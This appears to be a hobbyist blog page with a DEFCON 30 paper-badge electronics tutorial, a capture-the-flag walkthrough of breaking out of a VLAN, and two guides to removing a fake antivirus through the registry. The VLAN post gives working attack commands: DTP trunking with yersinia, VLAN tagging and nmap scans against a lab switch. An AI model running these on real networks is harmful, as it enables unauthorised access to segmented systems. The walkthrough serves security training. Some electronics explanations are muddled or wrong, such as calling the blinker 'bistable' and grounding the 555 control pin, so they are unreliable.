DCDarknet Badge Instructions for DEFCON 30

Posted on August 8, 2022 by Gulo

Introduction

This year’s Darknet badge is a Printed Circuit Cardboard (PCCB), which will let us focus more on teaching basic electronics rather than soldering. In past years, most people followed the instructions on how to assemble the badge, but spent very little time learning how or why the badge works.

By using a paper badge and supplying you with the parts, we’re giving you the freedom and know-how to design your own circuit, your own custom badge.

Please note this is not an exhaustive electronics course, this is enough information to get you started and playing around, so some things have been greatly simplified and or glossed over.

Badge Levels

  • Badge Level 1
    This is a light up badge. This badge has a suggested layout printed on a 4×6 card, but you can choose a blank card or a full sheet of paper. You will pick your resistors, and LEDs for a badge that lights up
  • Badge Level 2
    This badge is designed to blink. You can choose from a 4×6 card or a full sheet of paper. For this badge you can pick resistors, capacitors, LEDs and transistors.
  • Badge Level 3
    This is a 3D badge that is designed to blink. This badge is designed to be 3D, so you will take copper wire to create a circuit sculpture. You will pick your resistors, capacitors, LEDs, and a 555 Timer Integrated Circuit.

Definitions

  • Electricity
    A form of energy resulting from the existence of charged particles (protons / electrons)
  • Electric Current
    A stream of charged particles (electrons) moving through a conductor or space. Current is measured in amperes. There are two types of current: Direct Current (DC) and Alternating Current (AC). We will only be focusing on DC for these badges.
    Think of current as the amount of water that flows through a hose.
  • Voltage
    An electromotive force measured in volts
    Think of voltage as the water pressure in a hose. The more pressure the more voltage.
  • Parallel
    When the whole voltage flows through each electrical component at the same time. The voltage in a parallel circuit should remain the same across all parallel components while the current will drop between components.
    Think of it as transporting thousands of gallons of water from point A to point B. In a parallel circuit you would load up many vehicles the same way and have them take different streets to get to point B. The amount of water (current) will be less than the whole as it is split between vehicles, but the vehicles (voltage) will be able to travel faster to point B as they are not weighed down by too much water.
  • Series
    When the whole current flows through each electrical component one after another. The current in a series circuit should remain the same across all components while the voltage will drop between components.
    Think of it as transporting thousands of gallons of water from point A to point B. in a series circuit, you would load up one giant vehicle with all of the water (current). This giant vehicle (voltage) will be much slower as it is weighed down by a lot of water (current). But the amount of water (current) will not change inside that giant vehicle (voltage).
  • Power Supply
    An electrical device that supplies electric power. Supplying voltage and amperes to a circuit.
    Think of a power supply as the spigot where the hose is attached to and water is supplied from.
    We use power supplies to supply the power to drive electrical components like LEDs.
    The electricity supplied by power supplies will flow from positive to negative. In this case it will be from the red wire (usually positive) to the black wire (usually negative).
  • Battery (BT#)
    A container consisting of one or more cells, in which chemical energy is converted into electricity.
    Think of a battery as a container for storing the water for future use.
    We use batteries to supply the power to drive electrical components like LEDs.
  • Resistor (R#)
    A resistor is a passive electrical component that creates resistance in the flow of electric current.
    Resistors are measured in ohms.
    Think of a resistor as what would limit the amount of water coming out of the hose. The force of the water would be considered the voltage, the amount of the water would be the amps.
    We use resistors to limit the amount of current to prevent damaging components like LEDs, transistors, and Integrated Circuits.
    Resistor Symbol
  • LED (Light Emitting Diode) (D#)
    A Light Emitting Diode (LED) is a passive semiconductor that emits light when a current flows through it. A LED is a polarized part, which means that you have to pay attention to the direction that the current flows through the LED. Current will flow from the Anode to the Cathode. The anode is generally considered positive and the cathode is generally considered negative. Most LEDs, not all, the flat side of the LED is the cathode, just think that the flat side forms a negative. Most LEDs, not all, the longer lead is the anode, just think that you have extra lead so you can bend it around to make a + sign.
    An LED is the blinky blinky part of circuit.
    LED Symbol
  • Capacitor (C#)
    A capacitor is a passive electrical component that stores electrical energy in an electric field. Some capacitors are polarized and some are not. The ones for the Darknet badge are all polarized, so you must pay attention to which side is positive and negative on the capacitor. The negative side is labeled on the capacitor itself. When the capacitor is charging, the current flows from positive to negative, and when the capacitor is discharging the current flows from negative to positive. Basically while a capacitor is charging power is moving in one direction, but when it is charged the power moves in the opposite direction. Think of it like a deer scare, as the deer scare fills the water is moving into the deer scare, but once it is full, it tips over and dumps all of the water out.
    Capacitors are measured in farads.
    Think of a capacitor as a battery.
    Capacitor Symbol
  • Transistor (Q#)
    A transistor is an active semiconductor that can amplify or switch electrical signals and power. For the Darknet badge we will be using transistors as switches.
    A transistor has 3 leads, an emitter, base, and a collector. Depending on the power supplied to the base will determine if the switch is on or off between the collector and the emitter.
    The Darknet badge will be using transistors as switches. So think of the transistors as automatic light switches.
  • 555 Timer IC (U#)
    A 555 is an Integrated Circuit (IC) that is used as a timer, delay, pulse generation, or oscillator.
    Think of this as a really fancy sun dial
    555 Symbol

Parts

  • Batteries
    AAA, each battery is 1.5 volts
  • AAA battery packs
    Holds 3 batteries in serial which gives you 4.5 volts for your circuit
  • Resistors (R#)
    Ranging from 12 ohms to 9.1K ohms
  • LEDs (D#)
    Green, Orange, Red and Yellow LEDs to choose from
  • Capacitors (C#)
    100 micro farad, 470 microfarad, 1 farad
  • Transistors (Q#)
    2N2222A
    2N2222A
  • Integrated Circuit (U#)
    555 Timer

BOM (Bill of Materials)

Formulas

  • Ohm’sLaw
    Ohm’s law is the formula used to calculate the relationship between voltage (V), current (I) and resistance (R) in an electric circuit. Where V is measured in volts, I is measured in amps, and R is measured in ohms.
    V = IR
  • RC Time Constant
    RC Time Constant is the formula we will use to calculate the frequency (f) of the LED flash (blinking) using a capacitor (C) and resistor (R). Where C is measured in farads and R is measured in ohms.
    f = 1/(2πRC)
    π in the formula above is the mathematical constant of pi or 3.14
  • 555 IC Formula
    We will use a square wave duty cycle formula to calculate the LED flash rate. We will need to know the values of two resistors (R1, R2) and one capacitor (C1). When calculating a square wave duty cycle, we will have to calculate how long the LED is on for (Time High) and how long the LED is off for (Time Low)
    Thigh = 0.7 * (R1 + R2) * C1
    Tlow = 0.7 * R2 * C1

Badge Level 1

Badge level 1 consists of a power supply (batteries and battery pack) (BT1), resistors (R#), and LEDs (D#).
LEDs have a maximum current that can go through them, if you exceed that current, then an LED would pop like a balloon with too much air. We must limit the amount of current that an LED receives. To limit current we use resistors. The LEDs that we are using have a rating of ~0.02 amps
We can use Ohm’s Law to calculate what the resistance needs to be for the LEDs. We know that the power being supplied will be 4.5 V (3 AAA batteries in series), and we know that the current should be ~0.02 amps.
There is one more critical piece that we need to learn about LEDs: LEDs have something called forward voltage. LEDs need to have current to turn on, but they also consume voltage as it passes through them. In our case, all LEDs have a forward voltage of 2.1 V, which is also the minimum voltage that is required to turn the LED on.
So if we just had a single LED in this circuit the math is easy.
V = IR
4.5 - 2.1 = 0.02 * R
2.4 = 0.02 * R
2.4 / 0.02 = R
120 = R
We would need 120 ohms of resistance for that LED. So we would put ~120 ohm resistor in the circuit between the power supply and the LED.

Partial circuit drawing of the badge level 1, including the batteries, an LED, and a resistor.
But wait, our circuit is a little more complex than that. We have 3 LEDs in total. 2 of the LEDs are wired in series (D2, D3) and 2 LEDs are wired in parallel (D1, D2). One of the parallel lines only has 1 LED (D1)
Since we know that LEDs in parallel (D1, D2) will receive the same voltage, than we know the single LED (D1) will use the formula that we used above
V = IR
4.5 - 2.1 = 0.02 * R
120 = R
So the single LED (D1) will still use the 120 ohm resistor (D1).
But the other line contains 2 LEDs wired in series (D2, D3). If you remember the definition of a series circuit, all parts receive the same current, but the voltage will drop. So 2 LEDs in series (D2, D3) will still need ~0.02 amps, but will consume twice the amount of voltage. So our formula for the 2 LEDs in series (D2, D3) will look like this:
V = IR
4.5 - (2 * 2.1) = 0.02 * R
4.5 - 4.2 = 0.02 * R
0.3 = 0.02 * R
0.3 / 0.02 = R
15 = R
So for our 2 LEDs wired in series (D2, D3) we will need to have ~15 ohm resistor (R2).
To sum everything up, for our level 1 badge, you will need to have a power supply, 3 LEDs, and at least 2 resistors. The single LED (D1) will need to have ~120 ohm resistor (R1), and the 2 LEDs (D2, D3) will need to have ~15 ohm resistor (R2).

Badge Level 2

Badge level 2 consists of a power supply (batteries and battery pack) (BT1), resistors (R#), capacitors (C#), transistors (Q#A) and LEDs (D#) to make a blinking badge. Ooooo
The transistor will act as a switch between its collector and emitter depending on the voltage of the base. The goal will be to supply voltage to the base. When the voltage of the base hits ~0.7V the switch will close and power will flow between the emitter and the collector.
When the voltage is below ~0.7V the switch is open which prevents power from flowing:
Open Switch
When the voltage is above ~0.7V the switch is closed which allows power to flow:
Closed Switch
Now that we have a base understanding of transistors, lets start to design our circuit.
We know that for an LED to work, it has to have power flow through the anode to the cathode. So in our circuit design we will need to have power (red) (BT1) flow into the anode of the LED (D1), then connect the cathode of LED (D1) to the collector of the transistor (Q1A), and then have the emitter of the transistor (Q1A) connect back to the negative (black) (BT1) of the power supply.



Hmmm, but now we need to connect something to the base of the transistor (Q1A) that will supply ~0.7V sometimes, but not all of the time. Out of the components that we have, do we have something that will first charge itself, and then discharge itself? Why yes, yes we do. We have capacitors. Remember, a capacitor will allow power to flow from positive to negative while it charges, and when it is fully charged, it will then discharge itself in the opposite direction. So lets add a capacitor (C2) to our circuit:



Now we have a new problem, where do we connect the positive side of the capacitor (C2) to? We need to connect it to some place that it can receive a charge so that it can discharge into the base of our transistor (Q1A). What if we double our circuit and add another LED (D2), transistor (Q2A), and capacitor (C1)? By doing this we can create what is called a bistable multivibrator circuit. As one capacitor is charging the other capacitor is discharging. This will cause us to have one LED on and one LED off, and then the circuit will flip, and the LED that was off will now be on, and the LED that was on will now be off.


Looking at this circuit, we can see that we have the negatives of the capacitors (C1, C2) attached to the bases of the the transistors (Q1A, Q2A) and that we have the positive of the capacitors (C1, C2) attached to the collectors of the opposite transistors (Q1A, Q2A). So when LED (D1) is on, it will be charging the capacitor (C1). When capacitor (C1) is full, it will discharge >0.7V into the base of the transistor (Q2A) causing the switch to close between the emitter and the collector of transistor (Q2A). This will then turn on LED (D2) which will light up and start to charge the capacitor (C2). When capacitor (C2) is charged, then the circuit will flip back to LED (D1) lighting up, and capacitor (C1) charging while capacitor (C2) discharges.
There is one problem with our circuit though. We need to add in resistors to protect the components and limit the amount of current each component receives.
So we have two LEDs (D1, D2) in parallel, so we can use Ohm’s Law to calculate the resistance that we need to protect the LEDs. Refer to Badge Level 1 for how to use Ohm’s Law.
But we also need to add resistors to the capacitors (C1, C2) as well. This is where we can use the RC Time Constant formula defined in the formulas section.
As an example, let’s use 707 microfarad capacitors and 1357 ohm resistors. To calculate the blinking frequency we would:
f = 1/(2πRC)
f = 1 / (2 * 3.14 * R * C)
f = 1 / (2 * 3.14 * 1357 * 0.000707)
f = 1 / (6.28 * 1357 * 0.000707)
f = 1 / (8521.96 * 0.000707)
f = 1 / 6.02502572
f = 0.16597439521 Hz
So in this case, the LEDs (D1, D2) would blink at a rate of ~0.166 times per second, (or once every 6 seconds).
This means that we will be adding 2 resistors (R2, R3) to protect each of the LEDs that are wired in parallel, and adding 2 resistors (R1, R4) for the capacitors to determine the blinking frequency.
Our final circuit will look something a bit like this:

Badge Level 3

Badge level 3 consists of a power supply (batteries and battery pack) (BT1), resistors (R#), capacitor (C1), a 555 Timer IC (U1), and an LED (D1).
Instead of transistors like we used in badge level 2 we will be using the 555 Timer IC (U1) in what is called an astable mode. Astable means that the 555 Timer IC (U1) will oscillate or fluctuate between off and on. This oscillation will be what causes the LED to blink.
The oscillation that we will be using is called a square wave:
Square Wave
When working with square waves, we need to look at a couple of time measurements. The first is how long is the square wave at its peak, and the second is how long is the square wave at its valley.
The square wave peak will determine how long the LED is on for, and the square wave valley will determine how long the LED is off for. Basically it will tell us what the blinking rate of the LED is.
We will start off with an example using the 555 Timer IC (U1) formula that we defined in the formula’s section.
As an example let’s use a 8412 ohm resistor (R1), a 369 ohm resistor (R2), and a 707 microfarad capacitor (C1). To calculate the square wave and therefore the blink rate we will start with the Time High:
Thigh = 0.7 * (R1 + R2) * C1
Thigh = 0.7 * (8412 + 369) * 0.000707
Thigh = 0.7 * 8781 * 0.000707
Thigh = 6146.7 * 0.000707
Thigh = 4.3457169
Then to calculate the square wave Time Low we would:
Tlow = 0.7 * R2 * C1
Tlow = 0.7 * 369 * 0.000707
Tlow = 258.3 * 0.000707
Tlow = 0.1826181
So in this example the LED (D1) will turn on for ~4 seconds, and then it will turn off for ~0.2 seconds. Basically the LED (D1) will stay on for a long time and then it will blink off quickly and turn back on.

Now that we know how to calculate what the blink rate is using a square wave, we can start to design our circuit using the 555 Timer IC (U1). But first we need to learn a little about the 555 Timer IC (U1).
The 555 Timer IC (U1) has a total of 8 pins:

  1. Ground (GND)
    The ground pin (1) is used as ground for power to flow towards. As we apply voltage it will flow towards ground pin.
  2. Trigger (TR)
    The trigger pin (2) is used to determine when the output pin needs to be turned on. This is triggered (hehehe) by reaching a threshold of less than 1/3 of the supplied voltage.
  3. Output (Q)
    The output pin (3) is where the power goes if the trigger pin is activated. So the output pin is either low, which means that it isn’t supplying voltage (or very low voltage), or it is high, which means that it is outputting close to the voltage supplied.
  4. Reset (R)
    The reset pin (4) is like the old reset button on your Nintendo (yes I am that old). When pressed it will reset the state of the IC until the trigger is triggered. To activate the reset pin, we attach it to ground.
  5. Control (CV)
    The control pin (5) is used to try and level out fluctuations in the voltage supplied. Usually this is just connected to ground or the negative on the power supply.
  6. Threshold (THR)
    The threshold pin (6) is used to determine when the output pin needs to be turned off. This is triggered by reaching a threshold (hehehe) of more than 2/3 of the supplied voltage.
  7. Discharge (DIS)
    The discharge pin (&) will act as ground or negative to discharge whatever is in the IC while it is on.
  8. Vcc (VCC)
    The Vcc pin (8) is connected to the positive end of the power supply. The power supply needs to supply a minimum of 4.5V

So now that we know a little bit about how the 555 Timer IC (U1) works, we can really start to design our circuit.
We know that we need to have power (red) go to Vcc (Pin 8), but we also want power (BT1) to go to Reset (Pin 4) as well. The reason that we are supplying power to Reset is that we don’t want Reset to go to ground and reset our IC (U1).

Partial circuit drawing of the badge level 3, including the batteries, and an IC.
We also know that we need to have Ground (Pin 1) connect to negative (black) (BT1).

Partial circuit drawing of the badge level 3, including the batteries, and an IC.
We know that Output is where the power will output itself, so that is where we need to connect the anode of the LED (D1). But remember, an LED needs a resistor inline so that it doesn’t pop. So please use Ohm’s Law to determine the resistor (R3) value to place before the anode. We will also need to connect the cathode of the LED (D1) to the negative (black) (BT1).

Partial circuit drawing of the badge level 3, including the batteries, a LED, a resistor, and an IC.
This is where the circuit gets a little bit tricky, as we need to connect the Discharge (Pin 7), the Threshold (Pin 6), and the Trigger (Pin 2). We will also need to add in a couple of resistors (R1, R2) and a capacitor (C1).
We know that when the IC (U1) is off, meaning that Threshold (Pin 6) has more than 2/3 voltage, that the Discharge (Pin 7) is on. We will use the Discharge (Pin 7) to charge the capacitor (C1).
So to begin with, we need to connect the Discharge (Pin 7) to a resistor (R1). We also need to make sure that we have a complete circuit so we will attach the resistor (R1) to power (red).

Partial circuit drawing of the badge level 3, including the batteries, a LED, resistors, and an IC.
Since the Discharge (Pin 7) will be used to charge the capacitor (C1), we need to add a resistor (R2) between Discharge (Pin 7) and the capacitor (C1). This resistor (R2) will slow the charge of the capacitor (C1) and therefore determine the valley (low) of the square wave (how long the LED is off for).

Partial circuit drawing of the badge level 3, including the batteries, a LED, resistors, a capacitor, and an IC.
Lets go a little more in depth into this. So when we turn on the power supply (BT1), the capacitor (C1) will be discharged, meaning it is like a dead battery. Also, since we just applied power, we know that the Trigger (Pin 2) will be at less than 1/3 supplied voltage, so the IC (U1) will turn on and the LED (D1) will turn on. The Discharge (Pin 7) will also turn on, and begin to charge the capacitor (C1) through the resistors (R1, R2). Once the capacitor (C1) goes over the 2/3 supplied voltage required for the Threshold (Pin 6) then the IC (U1) will turn off, turning off the LED (D1) and Discharge (Pin 7) of the IC (U1). The IC (U1) will stay off until the capacitor (C1) is discharged. Once the capacitor (C1) goes below the 1/3 supplied voltage for the Trigger (Pin 2) then the IC (U1) will turn on, which will turn on the LED (D1) and the Discharge (Pin 7). This process will continue to repeat itself, turning the LED (D1) on and off based on the values of the capacitor (C1) and the resistors (R1, R2).
So now, we just need to connect the Trigger (Pin 2) and Threshold (Pin 6) to the capacitor (C1) and our circuit should be complete.

Completed circuit drawing of the badge level 3, including all resistors, capacitors, batteries, ICs, and LEDs.
Since we have such a complicated circuit, lets recap how it works:
When the Trigger (Pin 2) is less than 1/3 supplied voltage, then the IC (U1) will pass power through the Output (Pin 3) which will power the LED (D1) turning the LED (D1) on. It will also pass power through the Discharge (Pin 7).
The Discharge (Pin 7) is connected to the capacitor (C1) through a series of resistors (R1, R2), so when the IC (U1) is on, it will start to charge the capacitor (C1). Once the capacitor (C1) reaches 2/3 of supplied voltage, then it will activate the Threshold (Pin 6). When Threshold (Pin 6) is activated, then the IC (U1) will turn off, and the LED (D1) will turn off. While the IC (U1) is off, the Discharge (Pin 7) will also be off. When the capacitor (C1) drops below 1/3 supplied voltage, then the Trigger (Pin 2) will activate and turn the IC (U1) back on.
This process will repeat itself for as long as there is power supplied to the circuit, causing the LED (D1) to blink according to the values calculated for the square wave.

Congratulations, you, in theory, have a working level 3 badge.

Darknet Black Badge

If you made it this far, and you completed all 3 levels, then please find Gulo so that he may give you the Darknet Black badge.
While supplies last.

Posted in Badge Life, DCDarknet, DEFCON 30, Hardware Hacking, Uncategorized | Leave a comment

Basic Network Hacking (Breaking out of a VLAN)

Posted on September 3, 2016 by Gulo

This year for the DCDarknet I wrote an Epic titled Basic Network Hacking. After launching the quest and working with others, I learned that my “basic” network hacking turned out to be a little bit more advanced. So, to make up for my mistake, I wrote this post to walk people through the network challenge.
The goal of this challenge was to show that VLAN’s are not secure barriers. There are several ways to break out of a VLAN, and this challenge was designed to show all of the different ways. This post will only deal with the most basic attack (DTP). I may write a post with the other attack vectors later on if there is enough demand.

At the DCDarknet table, there were several network cables laid out. Each of these cables connected to a Cisco Catalyst 3750 on VLAN 1. There was one hint given for this challenge:
Does Google know the name of the answer to life?

I will list out the steps with a brief description, if there is enough demand then I will write another post later, that expounds upon each step in greater detail.

I am a CLI junkie, so all of these instructions are written for the CLI. In theory there are GUI apps that can do the same things, but they are not referenced here.

  1. Connect a network cable to your computer. (duh)
  2. We need to identify all of the different networks. To do this we will poll for the Native VLAN ID and the Management Addresses from the Cisco Discovery Protocol (CDP) packets using tcpdump.
    1. tcpdump -v -n -i ens9 ‘ether[20:2] == 0x2000’ | grep -e ‘Management’ -e ‘Native VLAN’
    2. You should let this run for several minutes to track down all of the different CDP packets which contain all of the other networks.
      1. CDP
  3. In this case we have identified 2 different IP addresses 192.168.1.254 and 8.8.4.4 with a native VLAN ID of 1. Each of these IP addresses is a Default Gateway (DG) of a VLAN.
    1. Remember the hint? 8.8.4.4 is a Google Name Server.
  4. Now, we can make the assumption that 192.168.1.254 is the network on VLAN 1 based on the extra CDP packets. To verify this we need to assign an IP address on this network to our computer.
    1. ip addr add 192.168.1.18/16 dev ens9
      1. Then if you are able to ping the DG then you had guessed correctly.
        1. ping 192.168.1.254 -c 4
          1. VLAN1_Check
  5. Since we know that we are on VLAN 1, there is a good chance that we can perform a DTP (Dynamic Trunk Protocol) attack. To do this we use a tool called Yersinia.
    1. yersinia dtp -attack 1 -interface ens9
  6. Now that the Access Port has been flipped to a Trunk Port we can run a scan to pull up a list of VLAN’s on the switch. To do this we will poll PVST+ packets using tcpdump.
    1. tcpdump -v -e -i ens9 | grep ‘vlan’
      1. PSVT
  7. These packets will list another VLAN. In this case it is VLAN 42.
    Note that 42 is the answer to life, remember the hint?

    1. So now we know that we are on VLAN 1 and we need to get to VLAN 42.
  8. We now need to tag our traffic with VLAN ID 42, to do that we create a link (alias) interface with that VLAN ID.
    1. ip link add link ens9 name ens9.42 type vlan id 42
      1. Assign an IP address to your computer in the same network as the DG you pulled from the CDP packet from VLAN 42.
        1. ip addr add 8.8.1.18/16 dev ens9.42
          1. VLAN42
  9. Now that you are on VLAN 42 with an IP address we need to find all of the other devices.
    1. nmap -sn -e ens9.42 8.8.1.1/16
      1. You will notice that only 2 IP addresses came up, 8.8.4.4 and 8.8.8.8. Since we know that 8.8.4.4 is the DG of this network, 8.8.8.8 must be the device we are trying to locate.
        1. nmap_search
  10. Once you know the IP of the device on VLAN 42 you run a simple port scan to learn that port 80 (HTTP) is open.
    1. nmap -e ens9.42 8.8.8.8
      1. nmap_port
  11. To pull the secret code from the website you use wget.
    1. wget http://8.8.8.8
  12. Then a simple cat of index.html and the code should be pretty obvious
    1. cat index.html

Here is the switch config if you want to try this at home.

I do plan on revamping this challenge for next year. I will add several additional layers, some easy, some more complicated. So be sure to read up on your network hacks.

Posted in DCDarknet, Defcon 24, Network, VLAN | 2 Comments

Fake Antivirus CLI Removal

Posted on June 16, 2011 by Gulo

So I received an e-mail asking if I would write up how to remove one of these fake AV’s by only using the Command Line Interface (CLI).

Something I should have done on the first post was to post the MD5 of the virus that I am playing with.  So this virus is d3805e63ea463b74cbc22c47fadbfec0 which makes this a Rena.j

    1. Once I logged onto the computer the virus starts up.  The first thing that I attempted to do was go to Start, Run, and run cmd.exe But I quickly found out that this virus adds itself to every EXE.  So every EXE that is ran opens the virus first.
    2. The good thing about these types of viruses is they only block EXE’s so we are able to run COM’s instead.  So rather than running cmd.exe we would run command.com  So once again go to Start, Run, and run command.com Which will open up a 16-bit CLI
    3. Next we will use some of the tools from the PSTools Suite.  (If you don’t have these installed on the computer you can always run them remotely, or use the task manager to do this first process).  The first command that we will use is pslist.  This will list out all of the running processes on the computer.  We will use this to identify the virus name and or PID (Process Identifier) 
    4. Now that we have identified the process we need to kill that process.  To kill that process we can either use the name or the PID.  The PID is the second column, so in this example it is 176.  So we need to run pskill ryg.exe to kill the process associated with the virus.
    5. Now that we have killed the virus we need to fix the registry, and since I said this would be all done through the CLI this becomes a little more fun.  We now need to verify that EXE key is correct in the registry.  To do this we run the command reg query HKEY_CLASSES_ROOT\exefile\shell\open\command
    6. Notice how the <No Name> starts out with “D:\RYG.EXE”  This means that every EXE that is executed will run the virus first.  So now we need to update the <No Name> (Default) with the correct value which is “%1” %*  The fun part of this is escaping out all of the fun quotes in the value.  So the command that needs to be run is reg add HKCR\exefile\shell\open\command /ve /d “\”%1\” %*\” Pretty much this command adds a registry key overwriting the current one.  The /ve means that it is the default value and the /d is the data that needs to be entered.
    7. Now we need to search the registry for any of the ryg.exe.  I had originally planned doing this just by commands but it appears that XP has removed the CLI switches for REG, FIND, and FINDSTR which caused me to abandon the commands and the batch files.  I need to fire up a Windows 2000 box and double check to see if I am remembering wrong though.
    8. So on the command line type in edit c:\RegSearch.vbs This will open a command line text editor that we will use to create our VBS file.
    9. Inside of the editor type in the following

Set objShell = WScript.CreateObject(“WScript.Shell”)
strSearchString = “ryg.exe”
Dim arrRegLines()
Dim arrRegHive(4)
arrRegHive(0) = “HKCR”
arrRegHive(1) = “HKCU”
arrRegHive(2) = “HKLM”
arrRegHive(3) = “HKU”
arrRegHive(4) = “HKCC”
intArrayKey = 0
For Each lpRegHive in arrRegHive
WScript.Echo “Processing ” & lpRegHive & ” now.”
Set objExport = objShell.Exec(“reg query ” & lpRegHive & ” /s”)
Do While Not objExport.StdOut.AtEndOfStream
Redim Preserve arrRegLines(intArrayKey)
arrRegLines(intArrayKey) = objExport.StdOut.ReadLine()
intArrayKey = intArrayKey + 1
Loop
Next
intArrayKey = 0
For Each lpRegLine in arrRegLines
if inStr(1, lpRegLine, strSearchString, 1) > 0 Then
WScript.Echo “Key: ” & arrRegLines(intArrayKey-2)
WScript.Echo “Value: ” & lpRegLine
End If
intArrayKey = intArrayKey + 1
Next

  1. Please note the second line strSearchString = “ryg.exe” This is where you would enter the string that you want to search for.  In this case it is ryg.exe  Also this VBS was designed for Windows XP, if you want this to work on Windows 7 you need to change the -2 to a -3 on the WScript.Echo “Key: ” & arrRegLines(intArrayKey-2) line, else it will not give you the correct key.  You may have to play with the that negative number to find all the Keys in XP also, as I found some that did not work, so I had to run the VBS twice to get them all.  I also removed all of my comments and variable clean-up from this so it would be easier to type, if you would like me to add those back in let me know.  Yes I know this could be optimized more, but I was in a hurry and it took me like 15 mins to code.  If requested I can optimize this too.
  2. To save this newly typed out VBS you will want to press ALT F S Then to exit you will press ALT F X
  3. Now to run the VBS to search the registry you will type in cscript c:\RegSearch.vbs This will then run the VBS and search the registry for all occurrences of ryg.exe and output the registry key and values to the CLI.  I chose to use CScript rather than WScript so that the output would go to the CLI rather than a popup window.
  4. If you notice it does find ryg.exe in other places in the registry, which means that we will need to run reg add again to fix those values.  Please note the values as these tell you where the files are located at.  In my case they are all located in C:\Documents and Settings\Administrator\Desktop  They will most likely not be located there on your computer, or at least I hope not.
  5. Now that we have cleaned up the registry we just need to remove the virus itself.  To do this just run del “C:\Documents and Settings\Administrator\Desktop\ryg.exe”
  6. Final step is to reboot the computer and in theory you should be virus free.  You can reboot the computer by running shutdown -r

I had spent 2 days trying to figure out the batch file for this, but I failed.  But I think it is because Microsoft removed some of the functionality from XP.  For example you used to be able to run reg query HKCR /s /F “ryg.exe” and it would find everything for you.  A simple one liner, but that does not appear to work in XP, as XP only has 3 options /s, /v or /ve.  Anyways I apologize for the delay in this post, I also apologize for the complication that the VBS has added.  I tried to keep it simple but it just didn’t work out that way.  I will probably revisit this later on and find a better method to handle it.

I do realize that steps 5 and 6 could be omitted as the registry search would detect these.  But since step 1 already identified that the EXE registry keys were compromised I figured I would fix the EXE’s first.  That way if you did not want to deal with the VBS you could just use the GUI (Graphical User Interface) for the rest.

Once again, let me know if you have any questions, or would like to see something else.

Posted in CLI, Virus / Malware | 1 Comment

Fake Anti Virus Scan Manual Removal

Posted on May 25, 2011 by Gulo

In this post I will walk through the way that I have been removing the fake AV scanner from Windows XP PC’s for the past couple of years.  So far I have only cleaned up one Windows 7 PC using this technique, so this may or may not work for you on Windows 7.  I will try to post instructions for Windows 7 at a later date.  Now I know that there are a lot of techs out there that will run scan after scan until they find a program with the correct dat files to remove these virus’s.  But running those scans can take hours, and most of the versions of this virus are only a couple of files, which are fairly simple to remove and just takes a few minutes.

If you would, I would like for you to comment on this post with where you find the virus’s.  I have been trying to notify web masters that their website is infected with a virus so that they can patch their hole and clean off the virus.  Most web masters are unaware that they are propagating these virus’s.  According to Websense 79% of virus’s come from legitimate web sites.  With that being said let us begin

    1. This first step is the most difficult and may take you a couple of tries.  The goal of this step is to log onto the computer, and press Ctrl Shift ESC (at the same time) before the virus loads.  This will load the task manager, which will give you the ability to kill the virus as soon as it loads.  You have to be quick about this.  This step isn’t always required but it makes your life easier.
    2. When the task manager is open you need to go to the Processes tab and locate the virus EXE that is running.  Normally the virus EXE is a random set of letters and numbers that doesn’t make much sense.  But in this case the virus was called Ryg.exe So you will want to highlight this process and press the end process button and select Yes as many times as it takes to kill the virus.
    3. Now the easy parts start.  First we need to open the registry, but you have to open the registry in a special way.  Since the virus normally changes how EXE’s open on your computer, basically it changes it so no matter what EXE you click on it opens the virus instead.
    4. To bypass the opening of the virus when you open the registry we need to open up a CMD (DOS prompt).  Press the Windows Key and R this will open a run prompt.  In the run prompt type in CMD and press OK
    5. Next we will need to change the directory from the default to C:\Windows by typing in cd c:\windows
    6. Next we will need to rename regedit.exe to regedit.com by typing in rename regedit.exe regedit.com
    7. Now we will open the registry by typing in regedit.com
    8. Now that we are inside the registry we need to navigate to HKEY_CLASSES_ROOT\exefile\shell\open\command
    9. Notice how the Default has a path to C:\Documents and Settings\NetworkService\Local Settings\Application Data\ryg.exe, that string is what runs the virus before any EXE is executed.  Please note down the location of the virus so that in a later step it can be located and removed.
    10. The Default should just say “%1” %* This is the default string to open EXE’s.  Basically you can just match it to the IsolatedCommand string in the same Key.  So change the Default to “%1” %*
    11. Now that the Command Default has been fixed you can now open EXE’s without fear of opening the virus again.  Although I recommend doing a search of the registry for any other entries of the virus.  In this case do a search for ryg.exe and determine if you need to delete the strings or change them back to their default.  I would say just delete all of the strings, but when you do the search you will run into other sections that may have the Command Default that you would need to edit rather than delete.  If you would like for me to expound upon this step please let me know and I will.
    12. The next step is to find the original virus or rather the installation file of the virus.  Normally the original virus adds itself to the startup of Windows so it is fairly simple to locate in msconfig
    13. To open msconfig press the Windows Key and R and type in msconfig and select OK
  2. Go to the Startup tab and locate EXE’s that look to be different.  They are normally located in temp folders in the user directorys, and they have long names of just random characters.  In this case the original virus name is mifbbmrxsik.exe
  3. Please note where the file is located at, and then uncheck the box and press OK (Please note when you reboot the computer later it will come up with a message about msconfig, just check the box and press OK)
  4. Now it’s time to go remove the virus files, or if you are weird like me you can save the files to decompile later (which I will do and post how to do it).
  5. The first one we will remove is mifbbmrxsik.exe as this is the installation piece of the virus, and also the easiest one to delete.  You can open up My Computer and navigate to the location of the virus C:\Documents and Settings\Administrator\Local Settings\Temp\ackqvmsjg\ Now you can either just delete the virus, or my recommendation is to delete everything in C:\Documents and Settings\Administrator\Local Settings\Temp\ As the name suggests this is just a temp directory, and it really shouldn’t contain anything important, so just delete all the files and folders in there.
  6. The second one we will remove is ryg.exe and this one is a bit trickier to remove.  If you remember this virus is stored in C:\Documents and Settings\NetworkServer\Application Data but if you were navigate to this folder you would not see ryg.exe even if you had enabled the view of protected operating system files and hidden files.
  7. This is caused by the System and Hidden attributes being set on ryg.exe.  To fix this open up another command prompt and navigate to C:\Documents and Settings\NetworkServer\Application Data
  8. Now type in dir /a This will display all files in the Application Data directory which includes the virus. 
  9. You can view the attributes of ryg.exe by typing in attrib ryg.exe This will display that ryg.exe has an S and H flag set, which hides it from view.
  10. To remove these flags type in attrib ryg.exe -S -H Now the virus should be viewable by doing either a dir or looking in My Computer
  11. From there you can highlight ryg.exe and delete it (be sure to empty the Recycle Bin after deletion though).
  12. Now this is the step that I always forget to do.  You need to make sure that Internet Explorer is not using any proxies to connect to the Internet.  To do this open Internet Explorer and go to Tools, Internet Options, select the Connections tab and then click on LAN Settings, and be sure to clear out any check boxes.  (Please note that some companies use a proxy, so this could be a bad thing on a company computer, but most home users don’t use proxies)
  13. Final step is to reboot the computer.  In theory when you log on you should be virus free.

This process normally takes me around 5 minutes to complete, and as long as I follow all the steps (I occasionally forget one) I have had a 100% success rate at removing the virus’s.

